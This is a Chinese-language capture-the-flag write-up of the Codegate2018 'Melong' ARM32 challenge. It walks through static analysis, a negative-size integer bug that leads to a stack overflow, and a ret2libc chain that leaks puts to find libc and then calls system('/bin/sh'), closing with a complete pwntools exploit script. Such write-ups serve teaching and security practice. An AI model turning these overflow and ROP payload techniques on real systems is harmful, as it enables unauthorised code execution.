IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 嵌入式 -> ARM PWN:Codegate2018_Melong详细讲解 -> 正文阅读

[嵌入式]ARM PWN:Codegate2018_Melong详细讲解

前言

在上一篇文章中我们讲解了一道ARM32静态链接的题目,本篇文章讲解的是ARM32动态链接的题目:Codegate2018_Melong。其实本质并没有什么太大的区别,仅仅只是多了一个动态链接库而已,并不会有什么影响,基本的做题思路和以往的x86类题目保持一致

往期回顾:
通过一道ARM PWN题引发的思考:jarvisOJ_typo
ubuntu20.04 PWN(含x86、ARM、MIPS)环境搭建
好好说话之House Of Einherjar
(补题)HITCON 2018 PWN baby_tcache超详细讲解
好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc
(补题)LCTF2018 PWN easy_heap超详细讲解
好好说话之Tcache Attack(3):tcache stashing unlink attack
好好说话之Tcache Attack(2):tcache dup与tcache house of spirit
好好说话之Tcache Attack(1):tcache基础与tcache poisoning
好好说话之Large Bin Attack
好好说话之Unsorted Bin Attack
好好说话之Fastbin Attack(4):Arbitrary Alloc
(补题)2015 9447 CTF : Search Engine
好好说话之Fastbin Attack(3):Alloc to Stack
好好说话之Fastbin Attack(2):House Of Spirit
好好说话之Fastbin Attack(1):Fastbin Double Free
好好说话之Use After Free
好好说话之unlink

Codegate2018_Melong

检查一下

首先检查一下程序属性:

在这里插入图片描述

可以看到这是一个32位动态链接的ARM架构ELF文件,并且题目中是给了lib.so的,所以一会使用qemu启动程序的时候就需要使用-L参数来挂libc了

接着检查一下程序的保护机制:

在这里插入图片描述

可以看到只开启了NX保护,没有什么特别的东西

静态分析

扔到ida里面看一下,这个程序不怎么复杂,函数也比较少,所以就先看一下伪C代码:

main()函数

在这里插入图片描述

main()函数太长了,就分左右截图了。先看左面,左面主要是一些初始化及menu信息。需要注意的是a2变量的缓冲区大小,从图中可看到a2的缓冲区大小为0x54,后续会用到这个点。再来看一下menu中的信息,根据后面对各功能的分析,输入1会调用check函数,输入2会调用exercise()函数,输入3会调用PT()函数,输入4会调用write_diary()函数,5和6为输出字符串退出,没有什么太多可说的

接下来看一下右面,使用switch case判断输入数值,这里有几个点需要注意一下,首先check()函数中一参v5会作为进入exercise()函数和PT()函数的判断条件。也就是说需要先执行check()函数,并且使得v5获得一个真值后才能进入exercise()函数和PT()函数,即程序执行时必须先选择1,才能选择2和3。第二个点需要注意的是v7变量作为PT()函数的返回值,是进入write_diary()函数的判断条件,如果想要执行write_diary()函数,那么就必须执行PT()函数并返回一个真值,即程序执行时必须先选择3,才能选择4

check()函数

在这里插入图片描述

简单的描述一下check()函数,在main()函数中v5的初始值为0,v5作为check()函数的参数。进入程序后可以看到将v5的值赋给了v6,并且经过判断之后v5的值加一,也就是说每次运行程序check()函数最多能被调用两次。这里需要注意的是v5变量是存放在bss段的全局变量,所以后续函数依然还会对v5进行判断操作

接着会打印一下一些友情提示,接着会有两次输入,第一次输入身高,第二次输入体重。接下来会调用calc()函数去计算一下bmi值,最后调用get_result()函数。check()函数前半部分都没有什么太多感兴趣的点,但是后面这个get_result()函数需要细点说明。可以看到v5变量是calc()函数计算之后的bmi值,会作为参数传入get_result()函数中。get_result()函数主要的功能就是通过bmi值去判断你的健康情况,每个判断分支中都会创建一个v2大小的堆块,并把其malloc指针赋给exc变量中,这个exc变量会在后续的执行流程中用到

exercise()函数

在这里插入图片描述

没啥特别的,只是一堆计算,对于漏洞的利用没有什么特别大的影响,就不详细分析了

PT()函数

在这里插入图片描述

PT()函数内部就比较简单了,首先需要输入一个数值作为size,并创建一个size大小的chunk,接下来释放该chunk并且返回size。这里需要注意的是size是一个有符号int,也就是说我们其实是可以写一个负数的,那么经过第一个分支后会返回一个负的十六进制数。这个点会在后面write_diary()函数中用到

write_diary()函数

在这里插入图片描述

在进入write_diary()函数前是需要检查PT()函数返回值的,因为我们输入负数返回值不为空,所以可以进入到write_diary()函数中。并且返回的size作为write_diary()函数的一参传入,传入后的size将负值赋给无符号变量nbytes,那么nbytes就变成了一个以0xf开头4字节很大的一个数值。接下来会向bss段的a2变量写入nbytes个字节,这里就出现了栈溢出,因为a2变量在前面提到过,它能够存放的最大长度为0x54,所以nbtyes一定是大于0x54的

查看程序执行流程

静态分析后,使用qemu启动一下程序,几个重要选项写出交互代码

主界面

在这里插入图片描述

1选项:check()函数

在这里插入图片描述
需要进行两次输入,在冒号之后输入,交互代码如下:

在这里插入图片描述

3选项:PT()函数

在这里插入图片描述

一次输入,在问号之后输入,交互代码如下:

在这里插入图片描述

4选项:write_diray()函数

在这里插入图片描述

直接输入数据,交互代码如下:

在这里插入图片描述

6选项:退出

为什么要加上一个6选项呢?这是因为在动态调试的时候发现,之后选择6选项之后才能执行栈中部署的内容,就很奇怪,ida里面也没看到有相关的说明。。。。。

交互代码如下:

在这里插入图片描述

思路分析

通过前面静态分析阶段,我们得到如下几个可以利用的点:

  • a2字符串数组长度为0x54
  • 程序需要进入1选项check()函数后才能进入3选项PT()函数
  • PT()函数返回值有符号size可以为负数
  • size作为参数传入write_diray()中并赋值给read()函数三参nbytes,但nbytes为无符号整型,所以强转后为一个0xf开头的4字大数
  • 由于read()函数写入的位置为a2字符串数组,因此造成了溢出

那么现在溢出点找到了,接下来就需要通过栈溢出泄露泄露函数地址,进而找到libc基地址,在通过基地址找到system()函数地址及/bin/sh字符串地址。这部分过程就和x86下的ret2libc3一样了

计算缓冲区大小

这里就演示一下动态调试查看缓冲区大小,其实静态的时候就已经可以看到a2字符串数组的长度了

首先使用qemu吧程序起起来,加入-g参数等待gdb链接:

在这里插入图片描述然后gdb-multiarch启动,设置arm架构,链接本地1212端口

在这里插入图片描述

按c继续,在程序执行界面走到write_diray()函数,并输入cyclic创建的200个字符串
1 --> 1.8,20 --> 3 --> -1 --> 4 --> cyclic(200) --> 6

在这里插入图片描述

程序就会断在0x61616176处,再使用cyclic计算出长度:

在这里插入图片描述最终计算出缓冲区大小为84,即0x54

泄露并找到libc基地址

程序中是存在puts()函数的,所以可以直接使用pwntools查找puts.plt和puts.got,我们还需要准备main()函数地址,主要构造思路为puts.got

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

主要构造思路为将puts.got作为puts.plt,最后重新返回至main()函数进行接下来的操作。那么就意味着我们需要一个能够向R0寄存器赋值并返回的gadget:

在这里插入图片描述

可以看到只有一个满足条件的gadget:0x00011bbc

那么构造的payload如下:

payload = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr) 

这样一来我们就可以通过write_diray()函数发送,并调用logout()函数执行,这样就能输出puts()函数真实地址puts_real了,接下来计算libc基地址就可以了

libc.address = puts_real - libc.sym['puts']

第二次调用main函数getshell

由于前面payload的构造使得程序返回main()函数,这就意味着可以再次执行程序流程,进入到write_diray()函数的过程和第一次是一样的,唯一需要修改的是payload

因为已经得到了libc基地址,所以可以找到system()函数和/bin/sh字符串。依然使用pop_r0这段gadget,将/bin/sh字符串地址作为system()函数的参数,执行就可以了

payload = b'b'*0x54 + p32(pop_r0_ret) + p32(bin_sh) + p32(libc.sym['system'])

再次使用write_diray()函数发送,并且调用logout退出就可以拿shell了!

在这里插入图片描述

EXP

  1 from pwn import *
  2 
  3 hollk = process(["qemu-arm", "-L", "./", "./melong"])
  4 
  5 elf = ELF("./melong", checksec = False)
  6 libc = ELF("./lib/libc.so.6", checksec = False)
  7 context.log_level = "debug"
  8 
  9 def check(height, weight):
 10     hollk.sendlineafter(":", "1")
 11     hollk.sendlineafter(" : ", str(height))
 12     hollk.sendlineafter(" : ", str(weight))
 13 
 14 def PT(size):
 15     hollk.sendlineafter(":", "3")
 16     hollk.sendlineafter("?\n", str(size))
 17 
 18 def write_diray(payload):
 19     hollk.sendlineafter(":", "4")
 20     hollk.send(payload)
 21 
 22 def logout():
 23     hollk.sendlineafter(":", "6")
 24 
 25 pop_r0_ret = 0x00011bbc
 26 puts_plt = elf.plt['puts']
 27 puts_got = elf.got['puts']
 28 main_addr = elf.sym['main']
 29 
 30 check(1,1) #完成对1选项执行流程
 31 PT(-1) #在3选项中输入负数使得后面read()函数能够造成栈溢出
 32 
 33 payload1 = b'a'*0x54 + p32(pop_r0_ret) + p32(puts_got) + p32(puts_plt) + p32(main_addr)*8 #puts.got作为puts.plt的参数,返回main函数,不知道为什么最后要乘8,如果你知道的话希望能够在评论区指点一下
 34 
 35 write_diray(payload1)
 36 logout()
 37 hollk.recvuntil("See you again :)\n")
 38 leak = u32(hollk.recvn(4)) #泄露
 39 libc.address = leak - libc.sym['puts'] #计算libc基地址
 40 
 41 check(1,1)
 42 PT(-1)
 43 payload2 = cyclic(0x54) + p32(pop_r0_ret) + p32(next(libc.search(b"/bin/sh"))) + p32(libc.sym['system']) #/bin/sh字符串作为system函数的参数,拿shell
 44 write_diray(payload2)
 45 logout()
 46 
 47 hollk.interactive()

在这里插入图片描述

  嵌入式 最新文章
基于高精度单片机开发红外测温仪方案
89C51单片机与DAC0832
基于51单片机宠物自动投料喂食器控制系统仿
《痞子衡嵌入式半月刊》 第 68 期
多思计组实验实验七 简单模型机实验
CSC7720
启明智显分享| ESP32学习笔记参考--PWM(脉冲
STM32初探
STM32 总结
【STM32】CubeMX例程四---定时器中断(附工
上一篇文章      下一篇文章      查看所有文章
加:2021-07-05 20:25:18  更:2021-07-05 20:25:30 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/3 17:19:40-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码